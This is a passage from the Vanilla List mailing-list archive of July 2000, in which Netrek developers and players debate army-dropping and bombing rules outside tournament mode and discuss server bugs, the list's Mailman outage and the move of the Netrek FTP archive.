problems during an INL game.

All: should I consider allowing bombing out of t-mode as a configuration
option?  That change was not subject to the same discussion.

The change in question has been made optional now, as of my latest CVS
commit.  I never thought people would be so worried about such a minor 
adjustment; we have far larger problems on our plates.

Let's concentrate on those.

-- 
James Cameron    mailto:quozl@us.netrek.org     http://quozl.netrek.org/

From karthik at arumugham.com  Sun Jul  2 23:47:36 2000
From: karthik at arumugham.com (Karthik Arumugham)
Date: Wed Jan 12 00:51:57 2005
Subject: [Vanilla List] why no non-t dropping?
In-Reply-To: <20000703141020.Y14758@us.netrek.org>
Message-ID: <Pine.LNX.4.20.0007030045140.28797-100000@k6.crackaddict.com>

There's one time when out-of-T dropping is good: the game has just lost T,
and the enemy is down to almost no planets. It's better to go and reset
than to have to abandon the geno attempt, then have the game be 18-2 with
the 2 core planets having 30 armies each when T finally comes back...

The downside is that there are some twinks who will go into a new galaxy
and take planets on both sides of one race just so that there will be
extra planets whenever the game gets going.

The question is how to deal with both situations adequately...

On Mon, 3 Jul 2000, James Cameron wrote:

> Trent, it was discussed, I guess you missed it.  The behaviour I adopted
> is consistent with beaming down while at peace; are you suggesting that
> a new message should be added for that condition as well?  Is non-T
> gameplay really that important to you?
> 
> Tom, I can't envisage a situation where a real game will be disturbed by
> this change.  Can you elucidate please?  Your input may be valuable in
> assuring that the change will have negligible effect.  T-mode would have
> to drop before the new behaviour occurs.  I've not seen many real games
> where this is a problem, apart from dying pickup games, or massive net
> problems during an INL game.
> 
> All: should I consider allowing bombing out of t-mode as a configuration
> option?  That change was not subject to the same discussion.
> 
> The change in question has been made optional now, as of my latest CVS
> commit.  I never thought people would be so worried about such a minor 
> adjustment; we have far larger problems on our plates.
> 
> Let's concentrate on those.
> 
> -- 
> James Cameron    mailto:quozl@us.netrek.org     http://quozl.netrek.org/
> _______________________________________________
> vanilla-list mailing list
> vanilla-list@us.netrek.org
> https://mailman.real-time.com/mailman/listinfo/vanilla-list
> 


From doosh at best.com  Mon Jul  3 00:26:46 2000
From: doosh at best.com (Tom Holub)
Date: Wed Jan 12 00:51:57 2005
Subject: [Vanilla List] why no non-t dropping?
In-Reply-To: <20000703141020.Y14758@us.netrek.org>; from quozl@us.netrek.org on Mon, Jul 03, 2000 at 02:10:20PM +1000
References: <Pine.LNX.4.04.10007010215490.21459-100000@xyzzy.dsl.speakeasy.net> <20000702180613.A48874@cecum.vec.wfubmc.edu> <20000702173107.A21379@shell3.ba.best.com> <20000703141020.Y14758@us.netrek.org>
Message-ID: <20000702222646.A8009@shell3.ba.best.com>

On Mon, Jul 03, 2000 at 02:10:20PM +1000, James Cameron wrote:
> 
> Tom, I can't envisage a situation where a real game will be disturbed by
> this change.  Can you elucidate please?  Your input may be valuable in
> assuring that the change will have negligible effect.  T-mode would have
> to drop before the new behaviour occurs.  I've not seen many real games
> where this is a problem, apart from dying pickup games, or massive net
> problems during an INL game.

Dying pickup games happen all the time.  Here's an area where the
existing rules fuck up real games; the KLIs take SIR(AGRI) in a
KLI/ROM game, the game drops out of t-mode and reforms as a FED/ROM
game, and now the ROMS have to drop armies on SIR faster than it pops,
because they're not allowed to bomb it.

I just don't see what problem you're trying to solve.

> All: should I consider allowing bombing out of t-mode as a configuration
> option?  That change was not subject to the same discussion.

Absolutely.

> The change in question has been made optional now, as of my latest CVS
> commit.  I never thought people would be so worried about such a minor 
> adjustment; we have far larger problems on our plates.

So why implement the change?
 -Tom

From doosh at best.com  Mon Jul  3 00:27:15 2000
From: doosh at best.com (Tom Holub)
Date: Wed Jan 12 00:51:57 2005
Subject: [Vanilla List] why no non-t dropping?
In-Reply-To: <Pine.LNX.4.20.0007030045140.28797-100000@k6.crackaddict.com>; from karthik@arumugham.com on Mon, Jul 03, 2000 at 12:47:36AM -0400
References: <20000703141020.Y14758@us.netrek.org> <Pine.LNX.4.20.0007030045140.28797-100000@k6.crackaddict.com>
Message-ID: <20000702222715.B8009@shell3.ba.best.com>

On Mon, Jul 03, 2000 at 12:47:36AM -0400, Karthik Arumugham wrote:
> There's one time when out-of-T dropping is good: the game has just lost T,
> and the enemy is down to almost no planets. It's better to go and reset
> than to have to abandon the geno attempt, then have the game be 18-2 with
> the 2 core planets having 30 armies each when T finally comes back...
> 
> The downside is that there are some twinks who will go into a new galaxy
> and take planets on both sides of one race just so that there will be
> extra planets whenever the game gets going.

What's wrong with extra planets?
 -Tom

From karthik at arumugham.com  Mon Jul  3 00:49:36 2000
From: karthik at arumugham.com (Karthik Arumugham)
Date: Wed Jan 12 00:51:57 2005
Subject: [Vanilla List] why no non-t dropping?
In-Reply-To: <20000702222715.B8009@shell3.ba.best.com>
Message-ID: <Pine.LNX.4.20.0007030149010.28797-100000@k6.crackaddict.com>

On Sun, 2 Jul 2000, Tom Holub wrote:

> What's wrong with extra planets?
>  -Tom

It really sucks when your enemy has 2 extra agris in 3rd space, which your
team may not even have touched...


From karthik at arumugham.com  Mon Jul  3 01:01:16 2000
From: karthik at arumugham.com (Karthik Arumugham)
Date: Wed Jan 12 00:51:57 2005
Subject: [Vanilla List] why no non-t dropping?
In-Reply-To: <20000702222646.A8009@shell3.ba.best.com>
Message-ID: <Pine.LNX.4.20.0007030200140.32541-100000@k6.crackaddict.com>

On Sun, 2 Jul 2000, Tom Holub wrote:

> Dying pickup games happen all the time.  Here's an area where the
> existing rules fuck up real games; the KLIs take SIR(AGRI) in a
> KLI/ROM game, the game drops out of t-mode and reforms as a FED/ROM
> game, and now the ROMS have to drop armies on SIR faster than it pops,
> because they're not allowed to bomb it.

Actually, the roms can bomb sir in this case. You can always bomb planets
in your own space during t, no matter who owns them.

Note that the feds CAN'T bomb sir in this case. They have to wait for the
roms to bomb/take it (or spend a lot of armies on it).


From quozl at us.netrek.org  Mon Jul  3 01:38:32 2000
From: quozl at us.netrek.org (James Cameron)
Date: Wed Jan 12 00:51:57 2005
Subject: [Vanilla List] why no non-t dropping?
In-Reply-To: <20000702222715.B8009@shell3.ba.best.com>; from doosh@best.com on Sun, Jul 02, 2000 at 10:27:15PM -0700
References: <20000703141020.Y14758@us.netrek.org> <Pine.LNX.4.20.0007030045140.28797-100000@k6.crackaddict.com> <20000702222715.B8009@shell3.ba.best.com>
Message-ID: <20000703163832.E14758@us.netrek.org>

On Sun, Jul 02, 2000 at 10:27:15PM -0700, Tom Holub wrote:
> What's wrong with extra planets?

Sounds like we should ask the masses ... it was they who asked me to
make the change.  I shall post to rec.games.netrek for why they don't
like extra planets, but I thought it was the unfairness of the opening.

-- 
James Cameron    mailto:quozl@us.netrek.org     http://quozl.netrek.org/

From xyzzy at speakeasy.org  Mon Jul  3 02:13:50 2000
From: xyzzy at speakeasy.org (Trent Piepho)
Date: Wed Jan 12 00:51:57 2005
Subject: [Vanilla List] why no non-t dropping?
In-Reply-To: <Pine.LNX.4.20.0007030149010.28797-100000@k6.crackaddict.com>
Message-ID: <Pine.LNX.4.04.10007030008470.24397-100000@xyzzy.dsl.speakeasy.net>

On Mon, 3 Jul 2000, Karthik Arumugham wrote:
> On Sun, 2 Jul 2000, Tom Holub wrote:
> 
> > What's wrong with extra planets?
> >  -Tom
> 
> It really sucks when your enemy has 2 extra agris in 3rd space, which your
> team may not even have touched...

What's stopping your team from dropping 40 armies on the 3rd space agris on
your side, and taking them?  It's always been possible to take 3rd space
planets if you wanted to go to all the trouble.  People don't do it, because
it's a waste.


From doosh at best.com  Mon Jul  3 09:46:01 2000
From: doosh at best.com (Tom Holub)
Date: Wed Jan 12 00:51:57 2005
Subject: [Vanilla List] why no non-t dropping?
In-Reply-To: <Pine.LNX.4.20.0007030200140.32541-100000@k6.crackaddict.com>; from karthik@arumugham.com on Mon, Jul 03, 2000 at 02:01:16AM -0400
References: <20000702222646.A8009@shell3.ba.best.com> <Pine.LNX.4.20.0007030200140.32541-100000@k6.crackaddict.com>
Message-ID: <20000703074601.B20616@shell3.ba.best.com>

On Mon, Jul 03, 2000 at 02:01:16AM -0400, Karthik Arumugham wrote:
> On Sun, 2 Jul 2000, Tom Holub wrote:
> 
> > Dying pickup games happen all the time.  Here's an area where the
> > existing rules fuck up real games; the KLIs take SIR(AGRI) in a
> > KLI/ROM game, the game drops out of t-mode and reforms as a FED/ROM
> > game, and now the ROMS have to drop armies on SIR faster than it pops,
> > because they're not allowed to bomb it.
> 
> Actually, the roms can bomb sir in this case. You can always bomb planets
> in your own space during t, no matter who owns them.
> 
> Note that the feds CAN'T bomb sir in this case. They have to wait for the
> roms to bomb/take it (or spend a lot of armies on it).

Well, that's fucked too.
 -Tom

From doosh at best.com  Mon Jul  3 09:42:50 2000
From: doosh at best.com (Tom Holub)
Date: Wed Jan 12 00:51:57 2005
Subject: [Vanilla List] why no non-t dropping?
In-Reply-To: <Pine.LNX.4.20.0007030149010.28797-100000@k6.crackaddict.com>; from karthik@arumugham.com on Mon, Jul 03, 2000 at 01:49:36AM -0400
References: <20000702222715.B8009@shell3.ba.best.com> <Pine.LNX.4.20.0007030149010.28797-100000@k6.crackaddict.com>
Message-ID: <20000703074250.A20616@shell3.ba.best.com>

On Mon, Jul 03, 2000 at 01:49:36AM -0400, Karthik Arumugham wrote:
> On Sun, 2 Jul 2000, Tom Holub wrote:
> 
> > What's wrong with extra planets?
> >  -Tom
> 
> It really sucks when your enemy has 2 extra agris in 3rd space, which your
> team may not even have touched...

So go find them and take them.  I do not see the advantage of every game
being exactly the same.  It's pickup.
 -Tom

From xyzzy at speakeasy.org  Mon Jul  3 23:06:57 2000
From: xyzzy at speakeasy.org (Trent Piepho)
Date: Wed Jan 12 00:51:57 2005
Subject: [Vanilla List] why no non-t dropping?
In-Reply-To: <20000703141020.Y14758@us.netrek.org>
Message-ID: <Pine.LNX.4.04.10007032055490.25508-100000@xyzzy.dsl.speakeasy.net>

On Mon, 3 Jul 2000, James Cameron wrote:
> Trent, it was discussed, I guess you missed it.  The behaviour I adopted
> is consistent with beaming down while at peace; are you suggesting that
> a new message should be added for that condition as well?  Is non-T
> gameplay really that important to you?

I think messages like:

"Bomb out of T-mode?  Please verify your order to bomb."
"You may not bomb out of T-mode."
"You may not bomb 3rd and 4th space planets."

Show a general trend of explaining why a command failed, rather than having
it mysteriously not work.

> Tom, I can't envisage a situation where a real game will be disturbed by
> this change.  Can you elucidate please?  Your input may be valuable in
> assuring that the change will have negligible effect.  T-mode would have
> to drop before the new behaviour occurs.  I've not seen many real games
> where this is a problem, apart from dying pickup games, or massive net
> problems during an INL game.

Happened to me on continuum yesterday.  8 people managed to show up and we
played for a few minutes, they neuted one of our planets, and then one of
their players quit.  We had a carrier on the way to take the planet back, but
he just sat there orbiting the planet wondering what the hell was going on.  I
think that the 7 of us remaining on the server would have liked to keep on
playing without t-mode, rather that sit around doing nothing.  But without two
teams of four, you're not allowed to play.  So I quit and went to newbie where
I don't have to put up with this now you can play, now you can't crap.


From jeffno at ccs.neu.edu  Tue Jul  4 03:29:09 2000
From: jeffno at ccs.neu.edu (Jeffrey Nowakowski)
Date: Wed Jan 12 00:51:57 2005
Subject: [Vanilla List] why no non-t dropping?
In-Reply-To: <Pine.LNX.4.04.10007032055490.25508-100000@xyzzy.dsl.speakeasy.net> from "Trent Piepho" at Jul 03, 2000 09:06:57 PM
Message-ID: <200007040829.e648T9F27078@denali.ccs.neu.edu>

Trent Piepho <xyzzy@speakeasy.org> wrote:
>
> "Bomb out of T-mode?  Please verify your order to bomb."

I never liked this last one.  I remember as a newbie thinking, "OK, how
do I verify??".

-Jeff

From quozl at us.netrek.org  Tue Jul  4 17:39:13 2000
From: quozl at us.netrek.org (James Cameron)
Date: Wed Jan 12 00:51:58 2005
Subject: [Vanilla List] why no non-t dropping?
In-Reply-To: <200007040829.e648T9F27078@denali.ccs.neu.edu>; from jeffno@ccs.neu.edu on Tue, Jul 04, 2000 at 04:29:09AM -0400
References: <Pine.LNX.4.04.10007032055490.25508-100000@xyzzy.dsl.speakeasy.net> <200007040829.e648T9F27078@denali.ccs.neu.edu>
Message-ID: <20000705083913.C25813@us.netrek.org>

I'm starting to think that we need to undo a lot of these little third
space related changes and address the issue more holistically.

My latest idea is a total ban on army movements for five minutes after
t-mode is lost, but after that anything is allowed; including bombing,
taking, or whatever.  This ban would of course be lifted if t-mode came
back before that five minute timeout.

-- 
James Cameron    mailto:quozl@us.netrek.org     http://quozl.netrek.org/

From zu22 at andrew.cmu.edu  Tue Jul  4 23:48:49 2000
From: zu22 at andrew.cmu.edu (Zachary Uram)
Date: Wed Jan 12 00:51:58 2005
Subject: [Vanilla List] why no non-t dropping?
In-Reply-To: <20000705083913.C25813@us.netrek.org>
Message-ID: <Pine.SOL.3.96L.1000705004814.8467K-100000@unix12.andrew.cmu.edu>

if we can attract a much larger playerbase this issue would be
rendered irrelevant
i know we can't ALWAYS have t-mode but certainly there are ways
of addressing the pitiful lack of it

On Wed, 5 Jul 2000, James Cameron wrote:

> I'm starting to think that we need to undo a lot of these little third
> space related changes and address the issue more holistically.
> 
> My latest idea is a total ban on army movements for five minutes after
> t-mode is lost, but after that anything is allowed; including bombing,
> taking, or whatever.  This ban would of course be lifted if t-mode came
> back before that five minute timeout.
> 
> -- 
> James Cameron    mailto:quozl@us.netrek.org     http://quozl.netrek.org/
> _______________________________________________
> vanilla-list mailing list
> vanilla-list@us.netrek.org
> https://mailman.real-time.com/mailman/listinfo/vanilla-list
> 

________________________________________________________
uram@cmu.edu
"Blessed are those who have not seen and yet have faith." - John 20:29


From quozl at us.netrek.org  Wed Jul  5 02:29:16 2000
From: quozl at us.netrek.org (James Cameron)
Date: Wed Jan 12 00:51:58 2005
Subject: [Vanilla List] why no non-t dropping?
In-Reply-To: <Pine.SOL.3.96L.1000705004814.8467K-100000@unix12.andrew.cmu.edu>; from zu22@andrew.cmu.edu on Wed, Jul 05, 2000 at 12:48:49AM -0400
References: <20000705083913.C25813@us.netrek.org> <Pine.SOL.3.96L.1000705004814.8467K-100000@unix12.andrew.cmu.edu>
Message-ID: <20000705172916.H25813@us.netrek.org>

On Wed, Jul 05, 2000 at 12:48:49AM -0400, Zachary Uram wrote:
> i know we can't ALWAYS have t-mode but certainly there are ways
> of addressing the pitiful lack of it

We could easily adopt "two players for t-mode", but I don't think
the statistics kept on players would be particularly useful then.

-- 
James Cameron    mailto:quozl@us.netrek.org     http://quozl.netrek.org/

From zu22 at andrew.cmu.edu  Wed Jul  5 14:08:47 2000
From: zu22 at andrew.cmu.edu (Zachary Uram)
Date: Wed Jan 12 00:51:58 2005
Subject: [Vanilla List] why no non-t dropping?
In-Reply-To: <20000705172916.H25813@us.netrek.org>
Message-ID: <Pine.SOL.3.96L.1000705150753.12063B-100000@unix12.andrew.cmu.edu>

indeed
we need to build playerbase
lack of t is a function of the playerbase 

On Wed, 5 Jul 2000, James Cameron wrote:

> On Wed, Jul 05, 2000 at 12:48:49AM -0400, Zachary Uram wrote:
> > i know we can't ALWAYS have t-mode but certainly there are ways
> > of addressing the pitiful lack of it
> 
> We could easily adopt "two players for t-mode", but I don't think
> the statistics kept on players would be particularly useful then.
> 
> -- 
> James Cameron    mailto:quozl@us.netrek.org     http://quozl.netrek.org/
> 

________________________________________________________
uram@cmu.edu
"Blessed are those who have not seen and yet have faith." - John 20:29


From frankn at cs.vu.nl  Thu Jul  6 02:23:23 2000
From: frankn at cs.vu.nl (Frank Niessink)
Date: Wed Jan 12 00:51:58 2005
Subject: [Vanilla List] why no non-t dropping?
In-Reply-To: <Pine.SOL.3.96L.1000705150753.12063B-100000@unix12.andrew.cmu.edu>; from zu22@andrew.cmu.edu on Wed, Jul 05, 2000 at 03:08:47PM -0400
References: <20000705172916.H25813@us.netrek.org> <Pine.SOL.3.96L.1000705150753.12063B-100000@unix12.andrew.cmu.edu>
Message-ID: <20000706092323.B6983@seadrift.cs.vu.nl>

On Wed Jul 05 15:08:47 2000, Zachary Uram wrote:
> indeed
> we need to build playerbase
> lack of t is a function of the playerbase 
> 
> On Wed, 5 Jul 2000, James Cameron wrote:
> 
> > On Wed, Jul 05, 2000 at 12:48:49AM -0400, Zachary Uram wrote:
> > > i know we can't ALWAYS have t-mode but certainly there are ways
> > > of addressing the pitiful lack of it
> > 
> > We could easily adopt "two players for t-mode", but I don't think
> > the statistics kept on players would be particularly useful then.

Why not have "mini T-mode", during which it is only possible to take
frontline planets? For example, with 2 on 2 you can take each
others frontline planets, with 3 on 3 the 7 most forward planets and
finally with 4 on 4 all planets. This could even be used to balance
in case of 3 on 4 or even 2 on 4...

Just a thought, Frank
-- 
"Ford!" he said, "there's an infinite number of monkeys outside who want to
talk to us about this script for Hamlet they've worked out."
	-- Douglas Adams, 'The Hitch Hiker's Guide to the Galaxy'

From tanner at real-time.com  Sun Jul  9 17:20:17 2000
From: tanner at real-time.com (Bob Tanner)
Date: Wed Jan 12 00:51:58 2005
Subject: [Vanilla List] Testing
Message-ID: <20000709172017.D8746@real-time.com>

Testing.

-- 
Bob Tanner <tanner@real-time.com>       | Phone : (612)943-8700
http://www.mn-linux.org                 | Fax   : (612)943-8500
Key fingerprint =  6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 


From tanner at real-time.com  Sun Jul  9 17:20:59 2000
From: tanner at real-time.com (Bob Tanner)
Date: Wed Jan 12 00:51:58 2005
Subject: [Vanilla List] Testing #2
Message-ID: <20000709172059.E8746@real-time.com>

Testing.

-- 
Bob Tanner <tanner@real-time.com>       | Phone : (612)943-8700
http://www.mn-linux.org                 | Fax   : (612)943-8500
Key fingerprint =  6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 


From tanner at real-time.com  Sun Jul  9 17:30:56 2000
From: tanner at real-time.com (Bob Tanner)
Date: Wed Jan 12 00:51:58 2005
Subject: [Vanilla List] RE: vanilla-list broken?
Message-ID: <20000709173056.H8746@real-time.com>

> The original message was received at Sat, 8 Jul 2000 21:00:26 -0500
> from postfix@lagparty.org [140.186.18.204]
> 
>    ----- The following addresses had permanent fatal errors -----
> "|/home/mailman/mail/wrapper post vanilla-list"
>     (reason: 1)
>     (expanded from: <vanilla-list@us.netrek.org>)
> 
>    ----- Transcript of session follows -----
> 554 5.3.0 "|/home/mailman/mail/wrapper post vanilla-list"... unknown mailer error 1

Ran into some sort of bug in mailman dealing with locking the database and
such. The error message lead me down an the wrong path, but a quick email to
the developers and I got a patch. 

Things should be working again.

-- 
Bob Tanner <tanner@real-time.com>       | Phone : (612)943-8700
http://www.mn-linux.org                 | Fax   : (612)943-8500
Key fingerprint =  6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 


From zu22 at andrew.cmu.edu  Sun Jul  9 20:45:42 2000
From: zu22 at andrew.cmu.edu (Zachary Uram)
Date: Wed Jan 12 00:51:58 2005
Subject: [Vanilla List] Testing #2
In-Reply-To: <20000709172059.E8746@real-time.com>
Message-ID: <Pine.SOL.3.96L.1000709214537.8224F-100000@unix12.andrew.cmu.edu>

testing #3

On Sun, 9 Jul 2000, Bob Tanner wrote:

> Testing.
> 
> -- 
> Bob Tanner <tanner@real-time.com>       | Phone : (612)943-8700
> http://www.mn-linux.org                 | Fax   : (612)943-8500
> Key fingerprint =  6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 
> 
> _______________________________________________
> vanilla-list mailing list
> vanilla-list@us.netrek.org
> https://mailman.real-time.com/mailman/listinfo/vanilla-list
> 

________________________________________________________
uram@cmu.edu
"Blessed are those who have not seen and yet have faith." - John 20:29


From quozl at us.netrek.org  Mon Jul 10 01:59:29 2000
From: quozl at us.netrek.org (James Cameron)
Date: Wed Jan 12 00:51:58 2005
Subject: [Vanilla List] EIDRM on shmget() on continuum
Message-ID: <20000710165929.D1300@us.netrek.org>

Anyone know any race conditions or strangenesses around shmget()
shortly after shmctl() with a IPC_RMID?  After a genocide tonight,
Karthik reported Continuum was aborting connection.

From ahn at vec.wfubmc.edu  Mon Jul 10 20:06:43 2000
From: ahn at vec.wfubmc.edu (Dave Ahn)
Date: Wed Jan 12 00:51:58 2005
Subject: [Vanilla List] old archives
Message-ID: <20000710210643.A66427@cecum.vec.wfubmc.edu>

I noticed that the new mailing list archives do not date back beyond June.
Could you move or link in the old list archives from the list info pages?

-- 
Dave Ahn | ahn@vec.wfubmc.edu | Wake Forest University Baptist Medical Center

When you were born, you cried and the world rejoiced.  Try to live your life
so that when you die, you will rejoice and the world will cry.  -1/2 jj^2

From tanner at real-time.com  Mon Jul 10 20:55:12 2000
From: tanner at real-time.com (Bob Tanner)
Date: Wed Jan 12 00:51:58 2005
Subject: [Vanilla List] old archives
In-Reply-To: <20000710210643.A66427@cecum.vec.wfubmc.edu>; from ahn@vec.wfubmc.edu on Mon, Jul 10, 2000 at 09:06:43PM -0400
References: <20000710210643.A66427@cecum.vec.wfubmc.edu>
Message-ID: <20000710205512.K12702@real-time.com>

Quoting Dave Ahn (ahn@vec.wfubmc.edu):
> I noticed that the new mailing list archives do not date back beyond June.
> Could you move or link in the old list archives from the list info pages?
> 

I am working on it. In the middle of upgrading the archive server.

-- 
Bob Tanner <tanner@real-time.com>       | Phone : (612)943-8700
http://www.mn-linux.org                 | Fax   : (612)943-8500
Key fingerprint =  6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 


From Peter.Pregler at email.com  Wed Jul 12 04:00:02 2000
From: Peter.Pregler at email.com (Peter Pregler)
Date: Wed Jan 12 00:51:58 2005
Subject: [Vanilla List] marvin segfault on Debian 2.2/potato
Message-ID: <20000712110001.A26978@risc.uni-linz.ac.at>

Hi all,

I had to upgrade the server (megalag.netrek.org) to the latest vanilla
(from 2.8 to 2.9pl6) since it did not like the new libc. The server
itself runs fine. But now the robot (marvin) keeps crashing while
processing some torp package. I am not sure if this is due to the
server upgrade or the os-upgrade. Recompilation of the robot did not
help. I had a short look at it with gdb but I would have to learn the
package format again in order to debug it. So I thought it might be
faster to ask here for help. Is anyone still using marvin on a
up-to-date os? I am using the original(?) source dated about July
1993. Personal reply or CC would be appreciated since I do not read
this list.

Greetings, Peter (ooops)

-- 
I will not waste chalk. --Bart Simpson at the blackboard
--------------------------------------------------------
Email: Peter_Pregler@email.com
WWW:   http://www.risc.uni-linz.ac.at/people/ppregler
ICQ:   61011460

From jeffno at ccs.neu.edu  Wed Jul 12 08:03:41 2000
From: jeffno at ccs.neu.edu (Jeffrey Nowakowski)
Date: Wed Jan 12 00:51:58 2005
Subject: [Vanilla List] marvin segfault on Debian 2.2/potato
In-Reply-To: <20000712110001.A26978@risc.uni-linz.ac.at> from "Peter Pregler" at Jul 12, 2000 11:00:02 AM
Message-ID: <200007121303.e6CD3fP01270@denali.ccs.neu.edu>

Look at defs.h in the robot source.  What is MAXPLAYER set to?  It
should be 32 or 36.  If it's 20 that is your problem.

-Jeff

Peter Pregler <Peter.Pregler@email.com> wrote:
> 
> Hi all,
> 
> I had to upgrade the server (megalag.netrek.org) to the latest vanilla
> (from 2.8 to 2.9pl6) since it did not like the new libc. The server
> itself runs fine. But now the robot (marvin) keeps crashing while
> processing some torp package. I am not sure if this is due to the
> server upgrade or the os-upgrade. Recompilation of the robot did not
> help. I had a short look at it with gdb but I would have to learn the
> package format again in order to debug it. So I thought it might be
> faster to ask here for help. Is anyone still using marvin on a
> up-to-date os? I am using the original(?) source dated about July
> 1993. Personal reply or CC would be appreciated since I do not read
> this list.
> 
> Greetings, Peter (ooops)
> 
> -- 
> I will not waste chalk. --Bart Simpson at the blackboard
> --------------------------------------------------------
> Email: Peter_Pregler@email.com
> WWW:   http://www.risc.uni-linz.ac.at/people/ppregler
> ICQ:   61011460
> _______________________________________________
> vanilla-list mailing list
> vanilla-list@us.netrek.org
> https://mailman.real-time.com/mailman/listinfo/vanilla-list
> 


From quozl at us.netrek.org  Fri Jul 21 18:11:16 2000
From: quozl at us.netrek.org (James Cameron)
Date: Wed Jan 12 00:51:58 2005
Subject: [Vanilla List] Dan Quayle to Al Gore
Message-ID: <20000722091116.A19305@us.netrek.org>

Tywong has asked me to change the T-Mode initiation message.
But I'm too far out of your political situation to be sure it is right.
Would one of you like to think up something and adjust them?

-- 
James Cameron    mailto:quozl@us.netrek.org     http://quozl.netrek.org/

From ahn at vec.wfubmc.edu  Fri Jul 21 18:50:04 2000
From: ahn at vec.wfubmc.edu (Dave Ahn)
Date: Wed Jan 12 00:51:58 2005
Subject: [Vanilla List] Dan Quayle to Al Gore
In-Reply-To: <20000722091116.A19305@us.netrek.org>; from quozl@us.netrek.org on Sat, Jul 22, 2000 at 09:11:16AM +1000
References: <20000722091116.A19305@us.netrek.org>
Message-ID: <20000721195003.A115615@cecum.vec.wfubmc.edu>

On Sat, Jul 22, 2000 at 09:11:16AM +1000, James Cameron wrote:
> Tywong has asked me to change the T-Mode initiation message.

You're kidding, right?

-- 
Dave Ahn | ahn@vec.wfubmc.edu | Wake Forest University Baptist Medical Center

When you were born, you cried and the world rejoiced.  Try to live your life
so that when you die, you will rejoice and the world will cry.  -1/2 jj^2

From jeffno at ccs.neu.edu  Sat Jul 22 00:45:48 2000
From: jeffno at ccs.neu.edu (Jeffrey Nowakowski)
Date: Wed Jan 12 00:51:58 2005
Subject: [Vanilla List] Dan Quayle to Al Gore
In-Reply-To: <20000721195003.A115615@cecum.vec.wfubmc.edu> from "Dave Ahn" at Jul 21, 2000 07:50:04 PM
Message-ID: <200007220545.e6M5jmh10436@denali.ccs.neu.edu>

Dave Ahn <ahn@vec.wfubmc.edu> wrote:
>
> On Sat, Jul 22, 2000 at 09:11:16AM +1000, James Cameron wrote:
>
> > Tywong has asked me to change the T-Mode initiation message.
> 
> You're kidding, right?

Somehow I don't think so.  Don't we have more interesting things to
fiddle with?  I suggest leaving it the way it is and ignoring silly
suggestions from Tywong.

The "Dan Quayle" joke is still relevant.  He actually tried running
for this election.  Even after he fades from political view, it'll be
a fun bit of historic trivia (he first got his reputation as a Vice
President from '88-92).

-Jeff

From xyzzy at speakeasy.org  Mon Jul 24 13:50:26 2000
From: xyzzy at speakeasy.org (Trent Piepho)
Date: Wed Jan 12 00:51:58 2005
Subject: [Vanilla List] Dan Quayle to Al Gore
In-Reply-To: <20000722091116.A19305@us.netrek.org>
Message-ID: <Pine.LNX.4.04.10007241147380.1625-100000@xyzzy.dsl.speakeasy.net>

On Sat, 22 Jul 2000, James Cameron wrote:
> Tywong has asked me to change the T-Mode initiation message.
> But I'm too far out of your political situation to be sure it is right.
> Would one of you like to think up something and adjust them?

I kind of like the way the old messages give the game some "history".  It's
sort of like reading the comments by 70s hackers in the termcap file.


From ahn at vec.wfubmc.edu  Tue Jul 25 14:42:48 2000
From: ahn at vec.wfubmc.edu (Dave Ahn)
Date: Wed Jan 12 00:51:58 2005
Subject: [Vanilla List] Netrek FTP Archive moved, new files available
Message-ID: <20000725154247.A175563@cecum.vec.wfubmc.edu>

Hey, folks.

Thanks to Karthik at Global NAPs, the Netrek FTP Archive has a new server.
Download time should be faster, and reliability should be better.  You
may access the archive at ftp://ftp.netrek.org/pub/netrek/

Please email me if you have any problems with the archive.

It may take a few days for the DNS records to propagate, so don't worry
if you are still connecting to the old server.

Those of you using the old ftp://ftp.vec.wfubmc.edu/pub/netrek/ (or any
alias ending in "vec.wfubmc.edu") will need to switch to "ftp.netrek.org"
The old archive will be taken offline next week.

Several new client binaries have been released quietly over the past few
months.  They include updated BRMH 2.4.0, COW 3.0 and Paradise 2.99
binaries.  New Vanilla Server 2.9pl6 source and Linux RPMs are also
available.  Download them all from ftp.netrek.org.

Dave
-- 
Dave Ahn | ahn@vec.wfubmc.edu | Wake Forest University Baptist Medical Center

When you were born, you cried and the world rejoiced.  Try to live your life
so that when you die, you will rejoice and the world will cry.  -1/2 jj^2

From ahn at vec.wfubmc.edu  Wed Jul 26 00:51:59 2000
From: ahn at vec.wfubmc.edu (Dave Ahn)
Date: Wed Jan 12 00:51:58 2005
Subject: [Vanilla List] FYI
Message-ID: <20000726015159.A177234@cecum.vec.wfubmc.edu>

http://www.gamasutra.com/features/20000724/pritchard_01.htm

An article that may interest some of you.  I only skimmed it, but it appears
that Netrek never got mentioned in it even though it is one of the first
(if not _the_ first) Internet games to use client binary authentication
to help curb cheating.  The article got a mention on slashdot, too.
-- 
Dave Ahn | ahn@vec.wfubmc.edu | Wake Forest University Baptist Medical Center

When you were born, you cried and the world rejoiced.  Try to live your life
so that when you die, you will rejoice and the world will cry.  -1/2 jj^2

From xyzzy at speakeasy.org  Wed Jul 26 02:26:32 2000
From: xyzzy at speakeasy.org (Trent Piepho)
Date: Wed Jan 12 00:51:59 2005
Subject: [Vanilla List] FYI
In-Reply-To: <20000726015159.A177234@cecum.vec.wfubmc.edu>
Message-ID: <Pine.LNX.4.04.10007260006230.3435-100000@xyzzy.dsl.speakeasy.net>

On Wed, 26 Jul 2000, Dave Ahn wrote:
> http://www.gamasutra.com/features/20000724/pritchard_01.htm
> 
> An article that may interest some of you.  I only skimmed it, but it appears
> that Netrek never got mentioned in it even though it is one of the first
> (if not _the_ first) Internet games to use client binary authentication
> to help curb cheating.  The article got a mention on slashdot, too.

It's written by someone from microsoft, so what do you expect?  That, like
usual, their software has flaws that were discovered and solved 10 years ago
by others?

I'm sure netrek was the first internet game to use a public key based binary
authentication system.  But I wonder, was netrek the first graphical real-time
internet game?  It predates xpilot, xtank, xbattle, and crossfire.  xconq was
ported to X10 in 1987, but it's turned based, and I'm not sure it predates
netrek though it could.


From ahn at vec.wfubmc.edu  Wed Jul 26 14:31:03 2000
From: ahn at vec.wfubmc.edu (Dave Ahn)
Date: Wed Jan 12 00:51:59 2005
Subject: [Vanilla List] FYI
In-Reply-To: <Pine.LNX.4.04.10007260006230.3435-100000@xyzzy.dsl.speakeasy.net>; from xyzzy@speakeasy.org on Wed, Jul 26, 2000 at 12:26:32AM -0700
